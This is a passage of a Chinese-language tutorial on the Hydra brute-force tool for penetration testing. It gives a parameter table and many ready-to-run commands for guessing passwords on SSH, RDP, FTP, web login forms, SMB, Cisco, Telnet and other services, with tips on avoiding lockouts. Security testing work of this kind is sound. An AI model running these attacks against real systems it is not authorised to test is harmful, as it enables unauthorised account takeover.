一、工具概述
Hydra 是一款功能强大的暴力破解工具,支持多种网络协议与服务的账号密码破解(如 SSH、FTP、RDP、HTTP 等)。其核心优势在于多协议适配与高并发破解能力,破解成功率主要依赖于字典的完整性与针对性,常用于渗透测试中的社工型渗透场景。
二、基础语法
# hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV] server service [OPT]
语法涵盖核心参数组合方式,不同参数搭配可满足不同破解需求,需根据目标服务与场景灵活调整。
三、核心参数详解
参数 | 用途说明 | 关键备注 |
---|---|---|
-R | 基于上一次破解进度继续 | 适用于破解中断后恢复,无需从头开始 |
-S | 采用 SSL 加密链接 | 大写,用于 HTTPS、IMAPS 等加密类服务 |
-s PORT | 指定非默认端口 | 小写,例如-s 2222 可指定 SSH 非默认端口 |
-l LOGIN | 指定单个破解用户 | 针对已知用户名精准破解,示例:-l admin |
-L FILE | 指定用户名字典文件 | 批量破解多个用户名,示例:-L users.txt |
-p PASS | 指定单个破解密码 | 实际使用中较少,通常搭配密码字典 |
-P FILE | 指定密码字典文件 | 核心参数,决定破解覆盖范围,示例:-P password.txt |
-e ns | 特殊破解选项 | n:试探空密码;s:试探 “用户名 = 密码” 的组合 |
-C FILE | 使用 “用户名:密码” 格式字典 | 可替代-L 和-P ,字典每行需符合user:pass 格式 |
-M FILE | 指定目标 IP 列表文件 | 批量破解多目标,文件内需一行填写一个 IP |
-o FILE | 输出破解结果到指定文件 | 便于后续查看与留存,示例:-o ssh_success.log |
-f | 找到第一组有效账号密码后中止 | 搭配-M (多目标)使用可提升效率,避免无效消耗 |
-t TASKS | 设置同时运行的线程数 | 默认 16,线程过高可能触发目标防护(如 IP 封锁) |
-w TIME | 设置超时时间(单位:秒) | 默认 30 秒,网络较差时可增大(如-w 60 ) |
-v / -V | 显示破解详细过程 | -v 显示简单详情,-V 显示完整步骤,便于排查问题 |
server | 目标 IP 地址或域名 | 例如192.168.1.104 、www.target.com |
service | 指定破解的服务 / 协议 | 需与目标服务匹配,支持类型见下文 |
支持的常见服务 / 协议
涵盖主流网络服务与协议,包括但不限于:telnet、ftp、pop3 [-ntlm]、imap [-ntlm]、smb、smbnt、http [s]-{head|get}、http-{get|post}-form、http-proxy、cisco、cisco-enable、vnc、mssql、mysql、oracle-listener、postgres、ssh2、rdp、smtp-auth [-ntlm]、teamspeak、sip。
四、典型使用案例
1. SSH 服务破解
场景 1:基础批量破解(结果输出到日志)
# hydra -L users.txt -P password.txt -vV -o ssh.log -e ns 192.168.1.104 ssh
-
说明:用
users.txt
遍历用户名、password.txt
遍历密码,详情输出到ssh.log
,同时试探空密码与 “用户名 = 密码” 组合,破解成功后直接显示结果。
场景 2:限制线程 + 找到即停止
# hydra -L users.txt -P password.txt -t 10 -vV -e ns -f ssh://192.168.1.104
-
说明:线程设为 10(降低目标防护触发概率),找到第一组有效账号后停止,也可加
-o save.log
保存结果。
2. HTTPS 服务破解
# hydra -m /index.php -l admin -P pass.txt 192.168.1.104 https
-
说明:指定 HTTPS 登录页面
/index.php
,用单个用户名admin
搭配pass.txt
字典破解。
3. RDP(远程桌面)破解
# hydra 192.168.10.198 rdp -l administrator -P password.txt -V -o rdp.log
-
说明:针对 RDP 服务破解
administrator
账号,结果保存到rdp.log
,-V
显示完整破解过程。
4. FTP 服务破解
基础语法(默认线程)
# hydra 192.168.1.104 ftp -l test -P pass.txt -t 16 -vV
含特殊试探(空密码 + 用户名 = 密码)
# hydra 192.168.1.104 ftp -l test -P pass.txt -e ns -vV
-
说明:FTP 默认端口 21,无需额外指定;
-e ns
开启特殊密码试探。
5. Web 登录破解(GET/POST 方式)
(1)GET 方式(简单表单)
# hydra -l admin -P pass.txt -t 5 -vV -e ns -f 192.168.1.104 http-get /admin/index.php
-
说明:破解
/admin/index.php
的 GET 登录表单,线程 5(避免触发 Web 服务防护),找到有效账号即停止。
(2)POST 方式(带参数表单)
假设目标登录表单代码如下:
<form action="index.php" method="POST"> <input type="text" name="name" /><BR><br> <input type="password" name="pwd" /><br><br> <input type="submit" name="sub" value="提交"> </form>
对应破解命令:
# hydra -l admin -P pass.lst -o ok.lst -t 1 -f 127.0.0.1 http-post-form "index.php:name=^USER^&pwd=^PASS^:<title>invalido</title>"
-
解析:
index.php
为表单提交页面;name=^USER^&pwd=^PASS^
中,^USER^
/^PASS^
是 Hydra 内置变量,分别替换用户名 / 密码;<title>invalido</title>
是错误登录的返回特征(需根据目标页面实际提示调整);该方式无法破解含验证码的登录表单。
6. 其他常用服务破解
Cisco 设备破解
-
基础认证:
# hydra -P pass.txt 10.36.16.18 cisco
-
Enable 模式:
# hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable
SMB 服务破解
# hydra -l administrator -P pass.txt 192.168.1.104 smb
HTTP 代理破解
# hydra -l admin -P pass.txt http-proxy://10.36.16.18
Telnet 服务破解
# hydra 192.168.1.104 telnet -l test -P pass.txt -t 32 -s 23 -e ns -f -V
-
说明:指定 Telnet 默认端口 23,线程 32,开启特殊试探,找到有效账号即停止。
Teamspeak 服务破解
# hydra -l test -P pass.txt -s 9987 -vV 192.168.1.104 teamspeak
-
说明:
-s 9987
指定 Teamspeak 非默认端口,-vV
显示详细过程。
Pop3 服务破解
# hydra -l muts -P pass.txt my.pop3.mail pop3
-
说明:目标地址为
my.pop3.mail
,破解muts